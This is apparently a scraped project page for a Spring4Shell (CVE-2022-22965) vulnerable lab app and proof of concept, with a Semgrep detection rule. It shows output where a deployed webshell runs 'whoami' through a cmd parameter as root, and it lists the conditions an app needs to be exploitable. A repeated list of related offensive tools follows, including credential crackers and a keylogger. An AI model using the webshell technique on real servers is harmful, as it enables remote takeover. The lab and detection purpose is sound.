CVE-2022-22965 - CVE-2010-1622 redux

Last update: Aug 25, 2022

Overview

CVE-2022-22965 - vulnerable app and PoC

Trial & error

$ docker rm -f rce; docker build -t rce:latest . && docker run -d -p 8080:8080 --name rce rce:latest && sleep 5 && python poc.py

Output example

rce
sha256:f626a2190dc0790c610afd4f12a4b2482b6a726d671fdac1432275de89c07cd6
1a048e5725f754d331de9491d0750c4c7a163472dea1fd1554edccfd00d7f6e5
deploy <Response [200]>
webshell <Response [404]>
webshell <Response [404]>
webshell <Response [404]>
webshell <Response [404]>
webshell <Response [500]>
webshell http://localhost:8080/tomcatwar.jsp?cmd=whoami
root

Identification with Semgrep

$ semgrep --config=semgrep-rule.yml .

Semgrep rule and test cases

Output example

Findings:

  src/main/java/com/example/demo/controller/IndexController.java
     cve-2022-22965
        Semgrep found a match


         14┆ @RequestMapping("/index")
         15┆ public void index(EvalBean evalBean) {
         16┆
         17┆ }

Ran 1 rule on 3 files: 1 finding.

Vulnerable app requirements¹

JDK 9 or above
Standalone Tomcat (no Embedded Tomcat) with WAR deployment
Any Spring version before 5.3.18 / 5.2.20 (Spring Boot before 2.5.12 / 2.6.6)
No blocklist on WebDataBinder / InitBinder
Parameter bind with POJOs directly (no @RequestBody, @RequestQuery, etc.)
Writeable file system (e.g webapps/ROOT)

Sources

Assuming exploits similar to the known PoCs. There might be other gadgets... ↩

CVE-2022-22965 - CVE-2010-1622 redux

Related tags

Overview

CVE-2022-22965 - vulnerable app and PoC

Trial & error

Output example

Identification with Semgrep

Output example

Vulnerable app requirements¹

Sources

Owner

Duarte Duarte

A python script to bypass 403-forbidden.

Cracker - Tools CRACK FACEBOOK DAN INSTAGRAM DENGAN FITUR BANYAK

Spring-0day/CVE-2022-22965

Complet and easy to run Port Scanner with Python

an impacket-dependent script exploiting CVE-2019-1040

MD5-CRACKER - A gmail brute force app created with python3

evtx-hunter helps to quickly spot interesting security-related activity in Windows Event Viewer (EVTX) files.

PoC of proxylogon chain SSRF(CVE-2021-26855) to write file by testanull, censored by github

Coerce authentication from Windows hosts via MS-FSRVP (Requires FS-VSS-AGENT service running on host)

Dumping revelant information on compromised targets without AV detection

GitLab CE/EE Preauth RCE using ExifTool

Chrome Post-Exploitation is a client-server Chrome exploit to remotely allow an attacker access to Chrome passwords, downloads, history, and more.

Tools for converting Nintendo DS binaries to an ELF file for Ghidra/IDA

Scarecrow is a tool written in Python3 allowing you to protect your Python3 scripts.

simple python keylogger

Aviatrix Controller 6.x before 6.5-1804.1922. Unrestricted upload of a file which allows an unauthenticated user to execute arbitrary code via directory traversal

Official implementation of the paper "Backdoor Attacks on Self-Supervised Learning".

The Devils Eye is an OSINT tool that searches the Darkweb for onion links and descriptions that match with the users query without requiring the use for Tor.

CVE-2021-22205& GitLab CE/EE RCE

The disassembler parses evm bytecode from the command line or from a file.

CVE-2022-22965 - CVE-2010-1622 redux

Related tags

Overview

CVE-2022-22965 - vulnerable app and PoC

Trial & error

Output example

Identification with Semgrep

Output example

Vulnerable app requirements1

Sources

Footnotes

Owner

Duarte Duarte

A python script to bypass 403-forbidden.

Cracker - Tools CRACK FACEBOOK DAN INSTAGRAM DENGAN FITUR BANYAK

Spring-0day/CVE-2022-22965

Complet and easy to run Port Scanner with Python

an impacket-dependent script exploiting CVE-2019-1040

MD5-CRACKER - A gmail brute force app created with python3

evtx-hunter helps to quickly spot interesting security-related activity in Windows Event Viewer (EVTX) files.

PoC of proxylogon chain SSRF(CVE-2021-26855) to write file by testanull, censored by github

Coerce authentication from Windows hosts via MS-FSRVP (Requires FS-VSS-AGENT service running on host)

Dumping revelant information on compromised targets without AV detection

GitLab CE/EE Preauth RCE using ExifTool

Chrome Post-Exploitation is a client-server Chrome exploit to remotely allow an attacker access to Chrome passwords, downloads, history, and more.

Tools for converting Nintendo DS binaries to an ELF file for Ghidra/IDA

Scarecrow is a tool written in Python3 allowing you to protect your Python3 scripts.

simple python keylogger

Aviatrix Controller 6.x before 6.5-1804.1922. Unrestricted upload of a file which allows an unauthenticated user to execute arbitrary code via directory traversal

Official implementation of the paper "Backdoor Attacks on Self-Supervised Learning".

The Devils Eye is an OSINT tool that searches the Darkweb for onion links and descriptions that match with the users query without requiring the use for Tor.

CVE-2021-22205& GitLab CE/EE RCE

The disassembler parses evm bytecode from the command line or from a file.

Vulnerable app requirements¹